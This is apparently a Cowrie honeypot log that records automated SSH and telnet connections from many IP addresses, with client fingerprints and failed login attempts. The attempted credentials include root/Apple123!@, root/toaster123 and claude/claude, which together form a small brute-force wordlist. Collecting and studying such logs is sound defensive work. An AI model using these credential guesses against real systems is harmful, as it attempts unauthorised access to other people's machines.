{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:6d:39:60:e3:71:93:fd:28:fa:aa:85:75:be:13:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2JjUSufnzPXfj/i7J67ozs/3GVM1PJwX3EMJsiIQvDr3QKmM99dWs4hl4fJaEn/LB87p/h2kt4d/r36qph91IFEzo5Hib+pe/pXNQtZZL917wlM84XZHb8MqmjoFdeeuiVFnsXROvDx5ui4KkdYQ6PBFVnxOKaVBXp7eTRtb1orrQmfskJ+LMtvMY7cCZVGhF4RMsyE3m3QfaOffLu1WHJOfms/zSTfkYfp5iI0QNWfhdQqymBqhXcMQnGEnv9VadLjouJWt3/1rYnTLXEFbydOWnJXFmm49w4rQLXwJjXs/LXk1uWPk3WSY147S8YUF+6nm8CA82CqbJliKPJ1l8dJqy2oPZv9rm3vNT/scHTxdAAH2bkVKfbc5ElMPKkO3v56NO+/SJF12obYMYg3WxLu8GqEwOaxM9zoLJ8V/27YO+3Bpk91QZEcPn9QklXdYJ9+9486U093BgzuWQu89Ers8P2ToUOvO36HbbAH7xpJpgUZwIXLH11bk/12Ukqe1MTUASi+UejhdpHgRi+OSf5eo9umCLOIwv2XsG9VeNwxTVruQzmKG/lODwWYAM/YDUAI8vwCFvLMh5J6lcTWWqEqaqiaH41hToI2meTlRVTUNHY7Wb57gxRNBuHOapCRY6jdCvm/+vJM5f6jEzjeO3UXOwNPnKYu7mm1FfIdzdXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:6d:39:60:e3:71:93:fd:28:fa:aa:85:75:be:13:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.273576Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:6d:39:60:e3:71:93:fd:28:fa:aa:85:75:be:13:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2JjUSufnzPXfj/i7J67ozs/3GVM1PJwX3EMJsiIQvDr3QKmM99dWs4hl4fJaEn/LB87p/h2kt4d/r36qph91IFEzo5Hib+pe/pXNQtZZL917wlM84XZHb8MqmjoFdeeuiVFnsXROvDx5ui4KkdYQ6PBFVnxOKaVBXp7eTRtb1orrQmfskJ+LMtvMY7cCZVGhF4RMsyE3m3QfaOffLu1WHJOfms/zSTfkYfp5iI0QNWfhdQqymBqhXcMQnGEnv9VadLjouJWt3/1rYnTLXEFbydOWnJXFmm49w4rQLXwJjXs/LXk1uWPk3WSY147S8YUF+6nm8CA82CqbJliKPJ1l8dJqy2oPZv9rm3vNT/scHTxdAAH2bkVKfbc5ElMPKkO3v56NO+/SJF12obYMYg3WxLu8GqEwOaxM9zoLJ8V/27YO+3Bpk91QZEcPn9QklXdYJ9+9486U093BgzuWQu89Ers8P2ToUOvO36HbbAH7xpJpgUZwIXLH11bk/12Ukqe1MTUASi+UejhdpHgRi+OSf5eo9umCLOIwv2XsG9VeNwxTVruQzmKG/lODwWYAM/YDUAI8vwCFvLMh5J6lcTWWqEqaqiaH41hToI2meTlRVTUNHY7Wb57gxRNBuHOapCRY6jdCvm/+vJM5f6jEzjeO3UXOwNPnKYu7mm1FfIdzdXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.278128Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.307972Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":42012,"dst_ip":"159.203.135.109","dst_port":22,"session":"201a5a7ca8bd","protocol":"ssh","message":"New connection: 43.130.31.151:42012 (159.203.135.109:22) [session: 201a5a7ca8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.022073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.027873Z","src_ip":"43.130.31.151","session":"201a5a7ca8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.097882Z","src_ip":"43.130.31.151","session":"201a5a7ca8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.406674Z","src_ip":"43.130.31.151","session":"201a5a7ca8bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":44046,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5eeff10ea8","protocol":"ssh","message":"New connection: 72.17.34.38:44046 (159.203.135.109:22) [session: 5f5eeff10ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.759066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.763483Z","src_ip":"72.17.34.38","session":"5f5eeff10ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.798399Z","src_ip":"72.17.34.38","session":"5f5eeff10ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123!@","message":"login attempt [root/Apple123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:41.972124Z","src_ip":"72.17.34.38","session":"5f5eeff10ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:42.479529Z","src_ip":"43.130.31.151","session":"201a5a7ca8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:43.010205Z","src_ip":"72.17.34.38","session":"5f5eeff10ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":48950,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ed245f436a","protocol":"ssh","message":"New connection: 103.91.246.101:48950 (159.203.135.109:22) [session: f4ed245f436a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:58.510637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:58.515702Z","src_ip":"103.91.246.101","session":"f4ed245f436a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:58.739507Z","src_ip":"103.91.246.101","session":"f4ed245f436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toaster123","message":"login attempt [root/toaster123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:59.665657Z","src_ip":"103.91.246.101","session":"f4ed245f436a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:00.895971Z","src_ip":"103.91.246.101","session":"f4ed245f436a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":35496,"dst_ip":"159.203.135.109","dst_port":22,"session":"46220076cf4d","protocol":"ssh","message":"New connection: 171.244.141.86:35496 (159.203.135.109:22) [session: 46220076cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:11.359747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:11.365453Z","src_ip":"171.244.141.86","session":"46220076cf4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:11.621925Z","src_ip":"171.244.141.86","session":"46220076cf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:12.669227Z","src_ip":"171.244.141.86","session":"46220076cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:13.927503Z","src_ip":"171.244.141.86","session":"46220076cf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42826,"dst_ip":"10.17.0.5","dst_port":23,"session":"fff02d806f39","protocol":"telnet","message":"New connection: 192.119.13.58:42826 (10.17.0.5:23) [session: fff02d806f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:15.248826Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":56864,"dst_ip":"10.17.0.5","dst_port":22,"session":"f614c30c9f99","protocol":"ssh","message":"New connection: 103.75.182.198:56864 (10.17.0.5:22) [session: f614c30c9f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:18.003203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:18.008423Z","src_ip":"103.75.182.198","session":"f614c30c9f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:18.250106Z","src_ip":"103.75.182.198","session":"f614c30c9f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15426378","message":"login attempt [root/15426378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:18.988639Z","src_ip":"103.75.182.198","session":"f614c30c9f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:20.232482Z","src_ip":"103.75.182.198","session":"f614c30c9f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34328,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e9aa7dfdb6b","protocol":"ssh","message":"New connection: 103.149.28.157:34328 (10.17.0.5:22) [session: 7e9aa7dfdb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:45.868605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:45.873872Z","src_ip":"103.149.28.157","session":"7e9aa7dfdb6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:46.124580Z","src_ip":"103.149.28.157","session":"7e9aa7dfdb6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"german","message":"login attempt [root/german] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:46.873096Z","src_ip":"103.149.28.157","session":"7e9aa7dfdb6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:37:48.129223Z","src_ip":"103.149.28.157","session":"7e9aa7dfdb6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9a7925eb841","protocol":"ssh","message":"New connection: 37.233.85.71:34464 (10.17.0.5:22) [session: e9a7925eb841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:00.346140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:00.351115Z","src_ip":"37.233.85.71","session":"e9a7925eb841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:00.469066Z","src_ip":"37.233.85.71","session":"e9a7925eb841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:00.801033Z","src_ip":"37.233.85.71","session":"e9a7925eb841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:01.915310Z","src_ip":"37.233.85.71","session":"e9a7925eb841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.39910697937012,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:02.647808Z","src_ip":"192.119.13.58","session":"fff02d806f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":36018,"dst_ip":"159.203.135.109","dst_port":22,"session":"250e2d84308f","protocol":"ssh","message":"New connection: 209.99.184.143:36018 (159.203.135.109:22) [session: 250e2d84308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:02.961961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:02.967377Z","src_ip":"209.99.184.143","session":"250e2d84308f","protocol":"ssh"}
